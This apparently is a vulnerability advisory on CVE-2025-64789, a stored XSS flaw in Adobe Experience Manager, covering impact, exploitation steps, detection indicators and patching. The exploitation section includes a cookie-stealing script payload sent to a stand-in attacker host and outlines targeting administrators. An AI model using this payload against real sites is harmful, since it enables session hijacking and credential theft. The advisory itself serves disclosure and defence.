CVE-2025-64789: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64789 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises) and AEM Cloud Service versions prior to 2025.12.0. The vulnerability was published on December 9, 2025, and patched by Adobe on the same date. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). A low-privileged, authenticated attacker can inject malicious JavaScript into vulnerable form fields within AEM, which is then persistently stored and executed in the browser of any user who visits the affected page. Exploitation requires user interaction (a victim browsing to the page containing the malicious payload) and network access, but no elevated privileges beyond a standard low-privileged account. Attack patterns associated with this vulnerability include stored XSS (CAPEC-592) and DOM-based XSS (CAPEC-588) (Adobe Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session, potentially leading to session hijacking, credential theft, unauthorized actions on behalf of the victim, or further phishing attacks. Both confidentiality and integrity are impacted at a low level within the changed scope (i.e., the victim's browser context), while availability is not directly affected. The stored nature of the XSS means any user visiting the compromised page is at risk, amplifying the potential victim pool beyond a single targeted individual (Adobe Advisory).

1. Reconnaissance: Identify AEM instances running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, using web fingerprinting tools or Shodan.
2. Obtain low-privileged access: Register or obtain credentials for a low-privileged AEM user account (e.g., a content author or contributor role).
3. Identify vulnerable form fields: Navigate AEM's content authoring interface to locate form fields that do not properly sanitize user input before storing and rendering it.
4. Inject malicious payload: Submit a crafted stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable field and save the content.
5. Trigger victim execution: Wait for or socially engineer a higher-privileged user (e.g., an administrator) to browse to the page containing the injected payload, causing their browser to execute the malicious script.
6. Harvest results: Collect stolen session tokens, credentials, or other sensitive data exfiltrated to the attacker-controlled server (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints containing HTML/JavaScript tags or encoded XSS payloads (e.g., %3Cscript%3E, javascript:, onerror=) in form field parameters.
• File System: Unexpected or modified AEM content nodes (JCR repository) containing embedded <script> tags or event handler attributes in stored content.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting AEM-authored pages; potential exfiltration of cookie or session data to attacker-controlled endpoints.
• Process/Application: AEM error logs showing unusual rendering exceptions or content sanitization warnings related to specific pages or components.

Adobe has released patches addressing this vulnerability. Users should upgrade AEM on-premises to version 6.5.24.0 or later, and AEM Cloud Service to version 2025.12.0 or later. No specific configuration-based workaround has been publicly documented; upgrading to the patched version is the recommended remediation. Organizations should also review AEM content for any previously injected malicious scripts as a precautionary measure (Adobe Advisory).

The Center for Internet Security (CIS) issued an advisory noting multiple vulnerabilities in Adobe products, including this CVE, that could allow for arbitrary code execution and other impacts. No notable individual researcher commentary or significant social media discussion has been identified for this specific CVE beyond standard aggregator coverage (CIS Advisory).